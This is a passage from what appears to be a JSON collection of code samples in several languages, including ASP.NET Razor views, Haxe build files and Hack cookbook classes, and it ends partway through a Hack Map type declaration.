count_male_in_between%></td><td id=\"values\"><%= count_female_in_between%></td></tr></table></td>\n    <td><table>\n        <tr><td id=\"values\"><%= count_male_above_fourteen %></td><td id=\"values\"><%= count_female_above_fourteen%></td></tr>\n    </table></td>\n    <td>\n      <table>\n        <tr><td id=\"values\"><%= count_male_under_five + count_male_in_between + count_male_above_fourteen %></td>\n          <td id=\"values\"><%= count_female_under_five + count_female_in_between + count_female_above_fourteen%></td></tr>\n    </table></td>\n  </tr>\n  <% }%>\n</table>\n\n"
  },
  {
    "path": "samples/HTML+Razor/Index.cshtml",
    "content": "@{\n    ViewBag.Title = \"Home Page\";\n}\n@section featured {\n    <section class=\"featured\">\n        <div class=\"content-wrapper\">\n            <hgroup class=\"title\">\n                <h1>@ViewBag.Title.</h1>\n                <h2>@ViewBag.Message</h2>\n            </hgroup>\n            <p>\n                To learn more about ASP.NET MVC visit\n                <a href=\"http://asp.net/mvc\" title=\"ASP.NET MVC Website\">http://asp.net/mvc</a>.\n                The page features <mark>videos, tutorials, and samples</mark> to help you get the most from ASP.NET MVC.\n                If you have any questions about ASP.NET MVC visit\n                <a href=\"http://forums.asp.net/1146.aspx/1?MVC\" title=\"ASP.NET MVC Forum\">our forums</a>.\n            </p>\n        </div>\n    </section>\n}\n<h3>We suggest the following:</h3>\n<ol class=\"round\">\n    <li class=\"one\">\n        <h5>Getting Started</h5>\n        ASP.NET MVC gives you a powerful, patterns-based way to build dynamic websites that\n        enables a clean separation of concerns and that gives you full control over markup\n        for enjoyable, agile development. ASP.NET MVC includes many features that enable\n        fast, TDD-friendly development for creating sophisticated applications that use\n        the latest web standards.\n        <a href=\"http://go.microsoft.com/fwlink/?LinkId=245151\">Learn more…</a>\n    </li>\n\n    <li class=\"two\">\n        <h5>Add NuGet packages and jump-start your coding</h5>\n        NuGet makes it easy to install and update free libraries and tools.\n        <a href=\"http://go.microsoft.com/fwlink/?LinkId=245153\">Learn more…</a>\n    </li>\n\n    <li class=\"three\">\n        <h5>Find Web Hosting</h5>\n        You can easily find a web hosting company that offers the right mix of features\n        and price for your applications.\n        <a href=\"http://go.microsoft.com/fwlink/?LinkId=245157\">Learn more…</a>\n    </li>\n</ol>\n"
  },
  {
    "path": "samples/HTML+Razor/Index.razor",
    "content": "@page \"/\"\n@using Microsoft.AspNetCore.Components.Forms\n\n<div class=\"px-4 py-4\">\n    <h3>Components's team manager</h3>\n    <h5>People management made easy</h5>\n</div>\n\n<div class=\"px-4 py-4 grow\">\n    <table class=\"table\">\n        <thead>\n            <tr>\n                <th>Name</th>\n                <th>Salary</th>\n                <th>Areas</th>\n                <th>Actions</th>\n            </tr>\n        </thead>\n        <tbody>\n            @if (people.Count > 0)\n            {\n                @foreach (var person in people)\n                {\n                    <tr>\n                        <td>@person.Name</td>\n                        <td>@person.Salary</td>\n                        <td>@(string.Join(\", \", person.Areas.Select(a => $\"{a.Name}: {(a.Percent.ToString(\"g\") + \"%\")}\")))</td>\n                        <td>\n                            <a onclick=\"@((e) => Fire(person))\" class=\"btn btn-danger\">Fire</a>\n                            <a onclick=\"@((e) => Edit(person))\" class=\"btn btn-secondary\">Edit</a>\n                        </td>\n                    </tr>\n                }\n            }\n            else\n            {\n                <tr><td colspan=\"4\">Noone here (so sad)...</td></tr>\n            }\n        </tbody>\n    </table>\n</div>\n\n@if (showEditorForCreate || showEditorForEdit)\n{\n    <div class=\"modal\">\n        <div class=\"modal-content\">\n            <EmployeeEditor OnCancel=\"@CloseEditor\" OnConfirm=\"@OnConfirm\" Person=\"@person\" />\n        </div>\n    </div>\n}\n\n<div class=\"px-4 py-2 status\">\n    <button class=\"btn btn-primary\" onclick=\"@Hire\">Hire Someone...</button>\n    <label>@people.Count Employees</label>\n</div>\n\n\n@functions {\n    List<Person> people = new List<Person>();\n    Person person;\n\n    int? editIndex;\n    bool showEditorForCreate;\n    bool showEditorForEdit;\n\n    void Hire()\n    {\n        person = new Person()\n        {\n            Areas =\n            {\n                new FeatureArea(),\n            },\n        };\n        showEditorForCreate = true;\n    }\n\n    void Fire(Person person)\n    {\n        people.Remove(person);\n    }\n\n    void Edit(Person person)\n    {\n        // Don't edit this object directly - we don't want to propagate edits\n        // when the user cancels\n        this.person = new Person(person);\n        editIndex = people.IndexOf(person);\n        showEditorForEdit = true;\n    }\n\n    void CloseEditor()\n    {\n        showEditorForCreate = false;\n        showEditorForEdit = false;\n        editIndex = null;\n        person = null;\n        StateHasChanged();\n    }\n\n    void OnConfirm()\n    {\n        if (showEditorForCreate)\n        {\n            people.Add(person);\n        }\n        else\n        {\n            people[editIndex.Value] = person;\n        }\n\n        CloseEditor();\n        StateHasChanged();\n    }\n}"
  },
  {
    "path": "samples/HXML/checkstyle.hxml",
    "content": "buildGlobal.hxml\n-lib mcover:2.1.1\n-D unittest\n-x TestMain\n--macro mcover.MCover.coverage(['checkstyle'], ['src'], ['checkstyle.reporter', 'checkstyle.Main'])\n\n--next\n-cmd neko run -s src -s test -p resources/static-analysis.txt\n-cmd neko run --default-config resources/default-config.json\n-cmd neko run -c resources/default-config.json\n"
  },
  {
    "path": "samples/HXML/vshaxe.hxml",
    "content": "# This file is generated with vshaxe-build - DO NOT EDIT MANUALLY!\n-cp vscode-extern/src\n-cp src-api\n-cp src\n-cp server/src\n-cp server/protocol/src\n-cp server/formatter/src\n-cp server/test\n-cp server/formatter/test\n-cp syntaxes/src\n-D analyzer-optimize\n-D js_unflatten\n-D hxnodejs-no-version-warning\n-D JSTACK_MAIN=vshaxe.Main.main\n-D JSTACK_ASYNC_ENTRY\n-D JSTACK_FORMAT=vscode\n-lib hxnodejs\n-lib jstack\n-lib haxe-hxparser\n-lib compiletime\n-lib mockatoo\n-lib mconsole\n-lib hx3compat\n-lib hxargs\n-lib json2object\n-lib yaml\n-lib plist\n-debug\n-js bin/build.js\n--no-inline\n-main Build\n"
  },
  {
    "path": "samples/Hack/Assert.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nfinal class AssertException extends Exception {}\n\nfinal class Assert {\n  public static function isNum(mixed $x): num {\n    if (is_float($x)) {\n      return $x;\n    } else if (is_int($x)) {\n      return $x;\n    }\n    throw new AssertException('Expected an int or float value');\n  }\n\n  public static function isInt(mixed $x): int {\n    if (is_int($x)) {\n      return $x;\n    }\n    throw new AssertException('Expected an int');\n  }\n\n  public static function isFloat(mixed $x): float {\n    if (is_float($x)) {\n      return $x;\n    }\n    throw new AssertException('Expected a float');\n  }\n\n  public static function isString(mixed $x): string {\n    if (is_string($x)) {\n      return $x;\n    }\n    throw new AssertException('Expected a string');\n  }\n\n  // For arrays you need to check every element\n  public static function isArrayOf<T>(\n    (function(mixed): T) $fn,\n    mixed $x,\n  ): array<T> {\n    if (is_array($x)) {\n      return array_map($fn, $x);\n    }\n    throw new AssertException('Expected an array');\n  }\n}\n"
  },
  {
    "path": "samples/Hack/AssertRecipe.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/recipe/init.php';\nrequire_once \"demo.php\";\n\nclass AssertRecipe extends Recipe implements RecipeWithDemo {\n\n  protected function getName(): string {\n    return 'Assert';\n  }\n\n  <<Override>>\n  protected function getDescription(): ?string {\n    return 'When you have values with unknown types, it is useful to make '.\n      'some runtime assertions and have the type checker understand. This '.\n      'recipe demonstrates one approach.';\n  }\n\n  protected function getFilenames(): Vector<string> {\n    return Vector {\n      'Assert.php',\n    };\n  }\n\n  protected function getDocs(): Vector<(string, string)> {\n    return Vector{\n      tuple ('Mixed Types', 'hack.annotations.mixedtypes'),\n      tuple ('Type Inference', 'hack.otherrulesandfeatures.typeinference'),\n    };\n  }\n\n  public function getDemoFilename(): string {\n    return 'demo.php';\n  }\n\n  public function getDemoResult(): string {\n    return assert_main();\n  }\n\n  public function getDemoXHP(): ?:xhp {\n    return null;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/Controller.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/startup/init.php';\n\nabstract class Controller {\n  protected function __construct() {\n    startup();\n  }\n\n  abstract protected function getCSS(): Set<string>;\n  abstract protected function getJS(): Set<string>;\n  abstract protected function getTitle(): string;\n  abstract protected function render(): :xhp;\n\n  final protected function getHead(): :xhp {\n    $css = $this->getCSS()->toVector()->map(\n      ($css) ==> <link rel=\"stylesheet\" type=\"text/css\" href={$css} />\n    );\n    $js = $this->getJS()->toVector()->map(\n      ($js) ==> <script src={$js} />\n    );\n    return\n      <head>\n      <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\"/>\n        <title>{$this->getTitle()}</title>\n        {$css->toArray()}\n        {$js->toArray()}\n      </head>;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/DBResultRecipe.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/recipe/init.php';\nrequire_once \"demo.php\";\n\nclass DBResultRecipe extends Recipe implements RecipeWithDemo {\n\n  protected function getName(): string {\n    return 'DB Result';\n  }\n\n  <<Override>>\n  protected function getDescription(): ?string {\n    return 'Fetching data from a DB introduces a few typing challenges. '.\n      'First, the data comes back untyped. Second, a row in a DB generally '.\n      'contains columns of different types.';\n  }\n\n  protected function getFilenames(): Vector<string> {\n    return Vector {\n      'FakeDB.php',\n    };\n  }\n\n  protected function getDocs(): Vector<(string, string)> {\n    return Vector{\n      tuple ('Hack Shapes', 'hack.shapes'),\n      tuple ('Mixed Types', 'hack.annotations.mixedtypes'),\n    };\n  }\n\n  public function getDemoFilename(): string {\n    return 'demo.php';\n  }\n\n  public function getDemoResult(): string {\n    return db_result_main();\n  }\n\n  public function getDemoXHP(): ?:xhp {\n    return null;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/Documentation.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/vendor/hhvm/xhp/src/init.php';\n\nfinal class :documentation extends :x:element {\n  attribute string name;\n\n  protected function render(): :xhp {\n    $name = implode('.', explode(' ', $this->getAttribute('name'))).\".php\";\n    $href = \"http://hhvm.com/manual/en/$name\";\n    return <a class=\"docs button\" href={$href} target=\"_blank\">docs &rarr;</a>;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/FakeDB.hh",
    "content": "<?hh // strict\n\ntype DBResultExtra = shape('age' => int);\ntype DBResult = shape(\n  'id' => int,\n  'name' => string,\n  'extra' => DBResultExtra,\n);\n\nfinal class FakeDB {\n  public function getRawRows(): array<array<string, mixed>> {\n    $good_extra = json_encode(array('age' => 40));\n    $bad_extra = 'corrupt data';\n    // Real code would query a DB, but for now let's hardcode it\n    return array(\n      array(\n        'id' => 123,\n        'name' => 'Alice',\n        'extra' => $good_extra,\n      ),\n      array(\n        'id' => 456,\n        'name' => 'Bob',\n        'extra' => $bad_extra,\n      ),\n    );\n  }\n\n  /**\n   * When processing untyped data you need to check each piece of data and\n   * figure out whether to give up or recover when the data is bad\n   */\n  public function processRow(array<string, mixed> $row): ?DBResult {\n    $row = Map::fromArray($row);\n    $id = $row->contains('id') ? $row['id'] : null;\n    $name = $row->contains('name') ? $row['name'] : null;\n    $extra = $row->contains('extra') ? json_decode($row['extra'], true) : null;\n\n    // Ignore rows with invalid IDs or names\n    if (!is_int($id) || !is_string($name)) {\n      return null;\n    }\n\n    // Try to recover from a bad extra column\n    if (!is_array($extra)) {\n      $extra = shape('age' => 0);\n    } else {\n      $extra = Map::fromArray($extra);\n      $extra = shape('age' => $extra->contains('age') ? $extra['age'] : 0);\n    }\n\n    return shape('id' => $id, 'name' => $name, 'extra' => $extra);\n  }\n\n  public function getDBResults(): Vector<DBResult> {\n    $ret = Vector {};\n    foreach ($this->getRawRows() as $raw_row) {\n      $row = $this->processRow($raw_row);\n      if ($row !== null) {\n        $ret->add($row);\n      }\n    }\n    return $ret;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/GetAndPostRecipe.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/recipe/init.php';\nrequire_once \"demo.php\";\n\nclass GetAndPostRecipe extends Recipe implements RecipeWithDemo {\n\n  protected function getName(): string {\n    return '$_GET and $_POST';\n  }\n\n  <<Override>>\n  protected function getDescription(): ?string {\n    return 'A small example of how to interact with superglobals and the '.\n      'untyped data they can contain.';\n  }\n\n  protected function getFilenames(): Vector<string> {\n    return Vector {\n      'NonStrictFile.php',\n      'StrictFile.php',\n    };\n  }\n\n  protected function getDocs(): Vector<(string, string)> {\n    return Vector {\n      tuple('invariant()', 'hack.otherrulesandfeatures.invariant'),\n    };\n  }\n\n  public function getDemoFilename(): string {\n    return 'demo.php';\n  }\n\n  public function getDemoResult(): string {\n    return get_and_post_main();\n  }\n\n  public function getDemoXHP(): :xhp {\n    $url = '/recipes/get-and-post/';\n    return\n      <x:frag>\n        <div>\n          <a href={\"$url?myIntParam=8675309#demo\"} class=\"button\">GET myIntParam=8675309</a>\n        </div>\n        <div>\n        <a href={\"$url?myIntParam=boom#demo\"} class=\"button\">GET myIntParam=boom</a>\n        </div>\n        <div>\n        <form action={\"$url#demo\"} method=\"post\">\n          <input type=\"hidden\" name=\"myIntParam\" value=\"5551234\"/>\n          <input type=\"submit\" class=\"button\" value=\"POST myIntParam=5551234\"/>\n        </form>\n        </div>\n        <div>\n        <form action={\"$url#demo\"} method=\"post\">\n          <input type=\"hidden\" name=\"myIntParam\" value=\"boom\"/>\n          <input type=\"submit\" class=\"button\" value=\"POST myIntParam=boom\"/>\n        </form>\n        </div>\n      </x:frag>;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/GetController.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nabstract class GetController extends Controller {\n  final protected function __construct(private Request $request) {\n    parent::__construct();\n  }\n\n  final protected function getRequest(): Request {\n    return $this->request;\n  }\n\n  final public function go(array<mixed, mixed> $get): void {\n    $request = new Request(Map::fromArray($get));\n    $controller = new static($request);\n    echo \"<!DOCTYPE html>\";\n    $head = $controller->getHead();\n    $body = $controller->render();\n    echo (string)$head;\n    echo (string)$body;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/HomeController.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/init.php';\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/standard-page/init.php';\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/vendor/hhvm/xhp/src/init.php';\n\nclass HomeController extends GetController {\n  use StandardPage;\n\n  protected function getTitle(): string {\n    return 'Hack Cookbook';\n  }\n\n  protected function renderMainColumn(): :xhp {\n    return <div>\n      <h1>Cookbook</h1>\n      <p>\n        The Hack Cookbook helps you write Hack code by giving you examples of\n        Hack code. It is written in Hack and is open source. If you\n        <a href=\"http://github.com/facebook/hack-example-site\">\n          head over to GitHub,\n        </a>\n        you can read the code, check out the repository, and run it\n        yourself. The recipes in this cookbook are small examples that\n        illustrate how to use Hack to solve common and interesting problems.\n      </p>\n    </div>;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/Map.hhi",
    "content": "<?hh\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the \"hack\" directory of this source tree.\n *\n */\n\n/**\n * This file provides type information for some of HHVM's builtin classes.\n *\n * YOU SHOULD NEVER INCLUDE THIS FILE ANYWHERE!!!\n */\n\nnamespace HH {\n\n  /**\n   * `Map` is an ordered dictionary-style collection. HHVM provides a native\n   * implementation for this class. The PHP class definition below is not\n   * actually used at run time; it is simply provided for the typechecker and for\n   * developer reference.\n   *\n   * Like all objects in PHP, `Map`s have reference-like semantics. When a caller\n   * passes a `Map` to a callee, the callee can modify the `Map` and the caller\n   * will see the changes. `Map`s do not have \"copy-on-write\" semantics.\n   *\n   * `Map`s preserve insertion order of key/value pairs. When iterating over a\n   * `Map`, the key/value pairs appear in the order they were inserted. Also,\n   * `Map`s do not automagically convert integer-like `string` keys (ex. `\"123\"`)\n   * into integer keys.\n   *\n   * `Map`s only support `int` keys and `string` keys. If a key of a different\n   * type is used, an exception will be thrown.\n   *\n   * `Map`s support `$m[$k]` style syntax for getting and setting values by key.\n   * `Map`s also support `isset($m[$k])` and `empty($m[$k])` syntax, and they\n   * provide similar semantics as arrays. Adding an element with square bracket\n   * syntax `[]` is supported either by providing a key between the brackets or\n   * a `Pair` on the right-hand side. e.g.,\n   * `$m[$k] = $v` is supported\n   * `$m[] = Pair {$k, $v}` is supported\n   * `$m[] = $v` is not supported.\n   *\n   * `Map`s do not support iterating while new keys are being added or elements\n   * are being removed. When a new key is added or an element is removed, all\n   * iterators that point to the `Map` shall be considered invalid.\n   *\n   * `Map`s do not support taking elements by reference. If binding assignment\n   * (`=&`) is used with an element of a `Map`, or if an element of a `Map` is\n   * passed by reference, of if a `Map` is used with `foreach` by reference, an\n   * exception will be thrown.\n   *\n   * @guide /hack/collections/introduction\n   * @guide /hack/collections/classes\n   */\n\n  final class Map<Tk as arraykey, Tv> implements \\MutableMap<Tk, Tv> {\n    /**\n     * Creates a `Map` from the given `KeyedTraversable`, or an empty `Map` if\n     * `null` is passed.\n     *\n     * @param $it - any `Traversable` object from which to create a `Map`\n     *              (e.g., `array`). If `null`, then an empty `Map` is created.\n     */\n    <<__Rx, __AtMostRxAsArgs>>\n    public function __construct(\n      <<__MaybeMutable, __OnlyRxIfImpl(\\HH\\Rx\\KeyedTraversable::class)>>\n      ?KeyedTraversable<Tk, Tv> $it,\n    );\n\n    /**\n     * Returns an `array` containing the key/value pairs from the current `Map`.\n     *\n     * @return - an `array` containing the key and value pairs from the current\n     *           `Map`.\n     */\n    <<__Rx, __MaybeMutable, __PHPStdLib>>\n    public function toArray(): array<Tk, Tv>;\n\n    /**\n     * Returns an `array` containing the values from the current `Map`.\n     *\n     * @return - an integer-indexed `array` containing the values from the\n     *           current `Map`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function toValuesArray(): varray<Tv>;\n\n    /**\n     * Returns an `array` whose values are the keys of the current `Map`.\n     *\n     * @return - an integer-indexed `array` containing the keys from the current\n     *           `Map`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function toKeysArray(): varray<Tk>;\n\n    /**\n     * Returns a `Vector` with the values of the current `Map`.\n     *\n     * @return - a `Vector` that contains the values of the current `Map`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function toVector(): Vector<Tv>;\n\n    /**\n     * Returns an immutable vector (`ImmVector`) with the values of the current\n     * `Map`.\n     *\n     * @return - an `ImmVector` that is an immutable copy of the current `Map`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function toImmVector(): ImmVector<Tv>;\n\n    /**\n     * Returns a deep copy of the current `Map`.\n     *\n     * @return - a `Map` that is a deep copy of the current `Map`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function toMap(): Map<Tk, Tv>;\n\n    /**\n     * Returns a deep, immutable copy (`ImmMap`) of the current `Map`.\n     *\n     * @return - an `ImmMap` that is a copy of this `Map`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function toImmMap(): ImmMap<Tk, Tv>;\n\n    /**\n     * Returns a `Set` based on the values of the current `Map`.\n     *\n     * @return - a `Set` with the current values of the current `Map`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function toSet(): Set<Tv> where Tv as arraykey ;\n\n    /**\n     * Returns an immutable set (`ImmSet`) based on the values of the current\n     * `Map`.\n     *\n     * @return - an `ImmSet` with the current values of the current `Map`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function toImmSet(): ImmSet<Tv> where Tv as arraykey ;\n\n    /**\n     * Returns a deep, immutable copy (`ImmMap`) of this `Map`.\n     *\n     * This method is interchangeable with `toImmMap()`.\n     *\n     * @return - an `ImmMap` that is a deep copy of this `Map`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function immutable(): ImmMap<Tk, Tv>;\n\n    /**\n     * Returns a lazy, access elements only when needed view of the current\n     * `Map`.\n     *\n     * Normally, memory is allocated for all of the elements of the `Map`. With\n     * a lazy view, memory is allocated for an element only when needed or used\n     * in a calculation like in `map()` or `filter()`.\n     *\n     * @return - a `KeyedIterable` representing the lazy view into the current\n     *           `Map`.\n     *\n     * @guide /hack/collections/examples\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function lazy(): \\HH\\Rx\\KeyedIterable<Tk, Tv>;\n\n    /**\n     * Returns a `Vector` containing the values of the current `Map`.\n     *\n     * This method is interchangeable with `toVector()`.\n     *\n     * @return - a `Vector` containing the values of the current `Map`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function values(): Vector<Tv>;\n\n    /**\n     * Returns a `Vector` containing the keys of the current `Map`.\n     *\n     * @return - a `Vector` containing the keys of the current `Map`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function keys(): Vector<Tk>;\n\n    /**\n     * Returns a `Map` after an operation has been applied to each value in the\n     * current `Map`.\n     *\n     * Every value in the current `Map` is affected by a call to `map()`, unlike\n     * `filter()` where only values that meet a certain criteria are affected.\n     *\n     * The keys will remain unchanged from the current `Map` to the returned\n     * `Map`.\n     *\n     * @param $callback - The callback containing the operation to apply to the\n     *                    current `Map` values.\n     *\n     * @return - a `Map` containing key/value pairs after a user-specified\n     *           operation is applied.\n     *\n     * @guide /hack/collections/examples\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function map<Tu>(\n      <<__AtMostRxAsFunc>> (function(Tv): Tu) $callback,\n    ): Map<Tk, Tu>;\n\n    /**\n     * Returns a `Map` after an operation has been applied to each key and\n     * value in the current `Map`.\n     *\n     * Every key and value in the current `Map` is affected by a call to\n     * `mapWithKey()`, unlike `filterWithKey()` where only values that meet a\n     * certain criteria are affected.\n     *\n     * The keys will remain unchanged from the current `Map` to the returned\n     * `Map`. The keys are only used to help in the mapping operation.\n     *\n     * @param $callback - The callback containing the operation to apply to the\n     *                    current `Map` keys and values.\n     *\n     * @return - a `Map` containing the values after a user-specified operation\n     *           on the current `Map`'s keys and values is applied.\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function mapWithKey<Tu>(\n      <<__AtMostRxAsFunc>> (function(Tk, Tv): Tu) $callback,\n    ): Map<Tk, Tu>;\n\n    /**\n     * Returns a `Map` containing the values of the current `Map` that meet\n     * a supplied condition.\n     *\n     * Only values that meet a certain criteria are affected by a call to\n     * `filter()`, while all values are affected by a call to `map()`.\n     *\n     * The keys associated with the current `Map` remain unchanged in the returned\n     * `Map`.\n     *\n     * @param $callback - The callback containing the condition to apply to the\n     *                    current `Map` values.\n     *\n     * @return - a `Map` containing the values after a user-specified condition\n     *           is applied.\n     *\n     * @guide /hack/collections/examples\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function filter(\n      <<__AtMostRxAsFunc>> (function(Tv): bool) $callback,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Returns a `Map` containing the values of the current `Map` that meet\n     * a supplied condition applied to its keys and values.\n     *\n     * Only keys and values that meet a certain criteria are affected by a call to\n     * `filterWithKey()`, while all values are affected by a call to\n     * `mapWithKey()`.\n     *\n     * The keys associated with the current `Map` remain unchanged in the\n     * returned `Map`; the keys will be used in the filtering process only.\n     *\n     * @param $callback - The callback containing the condition to apply to the\n     *                    current `Map` keys and values.\n     *\n     * @return - a `Map` containing the values after a user-specified condition\n     *           is applied to the keys and values of the current `Map`.\n     *\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function filterWithKey(\n      <<__AtMostRxAsFunc>> (function(Tk, Tv): bool) $callback,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Returns a `Map` where each value is a `Pair` that combines the value\n     * of the current `Map` and the provided `Traversable`.\n     *\n     * If the number of values of the current `Map` are not equal to the number\n     * of elements in the `Traversable`, then only the combined elements up to\n     * and including the final element of the one with the least number of\n     * elements is included.\n     *\n     * The keys associated with the current `Map` remain unchanged in the\n     * returned `Map`.\n     *\n     * @param $traversable - The `Traversable` to use to combine with the\n     *                       elements of the current `Map`.\n     *\n     * @return - The `Map` that combines the values of the current `Map` with\n     *           the provided `Traversable`.\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function zip<Tu>(\n      <<__MaybeMutable, __OnlyRxIfImpl(\\HH\\Rx\\Traversable::class)>>\n      Traversable<Tu> $traversable,\n    ): Map<Tk, Pair<Tv, Tu>>;\n\n    /**\n     * Returns a `Map` containing the first `n` key/values of the current `Map`.\n     *\n     * The returned `Map` will always be a proper subset of the current `Map`.\n     *\n     * `n` is 1-based. So the first element is 1, the second 2, etc.\n     *\n     * @param $n - The last element that will be included in the `Map`.\n     *\n     * @return - A `Map` that is a proper subset of this `Map` up to `n` elements.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function take(int $n): Map<Tk, Tv>;\n\n    /**\n     * Returns a `Map` containing the keys and values of the current `Map` up to\n     * but not including the first value that produces `false` when passed to the\n     * specified callback.\n     *\n     * The returned `Map` will always be a proper subset of the current `Map`.\n     *\n     * @param $fn - The callback that is used to determine the stopping condition.\n     *\n     * @return - A `Map` that is a proper subset of the current `Map` up until\n     *           the callback returns `false`.\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function takeWhile(\n      <<__AtMostRxAsFunc>> (function(Tv): bool) $fn,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Returns a `Map` containing the values after the `n`-th element of the\n     * current `Map`.\n     *\n     * The returned `Map` will always be a proper subset of the current `Map`.\n     *\n     * `n` is 1-based. So the first element is 1, the second 2, etc.\n     *\n     * @param $n - The last element to be skipped; the `$n+1` element will be the\n     *             first one in the returned `Map`.\n     *\n     * @return - A `Map` that is a proper subset of the current `Map` containing\n     *           values after the specified `n`-th element.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function skip(int $n): Map<Tk, Tv>;\n\n    /**\n     * Returns a `Map` containing the values of the current `Map` starting after\n     * and including the first value that produces `true` when passed to the\n     * specified callback.\n     *\n     * The returned `Map` will always be a proper subset of this `Map`.\n     *\n     * @param $fn - The callback used to determine the starting element for the\n     *              current `Map`.\n     *\n     * @return - A `Map` that is a proper subset of the current `Map` starting\n     *           after the callback returns `true`.\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function skipWhile(\n      <<__AtMostRxAsFunc>> (function(Tv): bool) $fn,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Returns a subset of the current `Map` starting from a given key location\n     * up to, but not including, the element at the provided length from the\n     * starting key location.\n     *\n     * `$start` is 0-based. `$len` is 1-based. So `slice(0, 2)` would return the\n     * keys and values at key location 0 and 1.\n     *\n     * The returned `Map` will always be a proper subset of the current `Map`.\n     *\n     * @param $start - The starting key location of the current `Map` for the\n     *                 returned `Map`.\n     * @param $len - The length of the returned `Map`.\n     *\n     * @return - A `Map` that is a proper subset of the current `Map` starting at\n     *           `$start` up to but not including the element `$start + $len`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function slice(int $start, int $len): Map<Tk, Tv>;\n\n    /**\n     * Returns a `Vector` that is the concatenation of the values of the current\n     * `Map` and the values of the provided `Traversable`.\n     *\n     * The provided `Traversable` is concatenated to the end of the current `Map`\n     * to produce the returned `Vector`.\n     *\n     * @param $traversable - The `Traversable` to concatenate to the current\n     *                       `Map`.\n     *\n     * @return - The integer-indexed concatenated `Vector`.\n     *\n     * @guide /hack/generics/constraints\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function concat<Tu super Tv>(\n      <<__MaybeMutable, 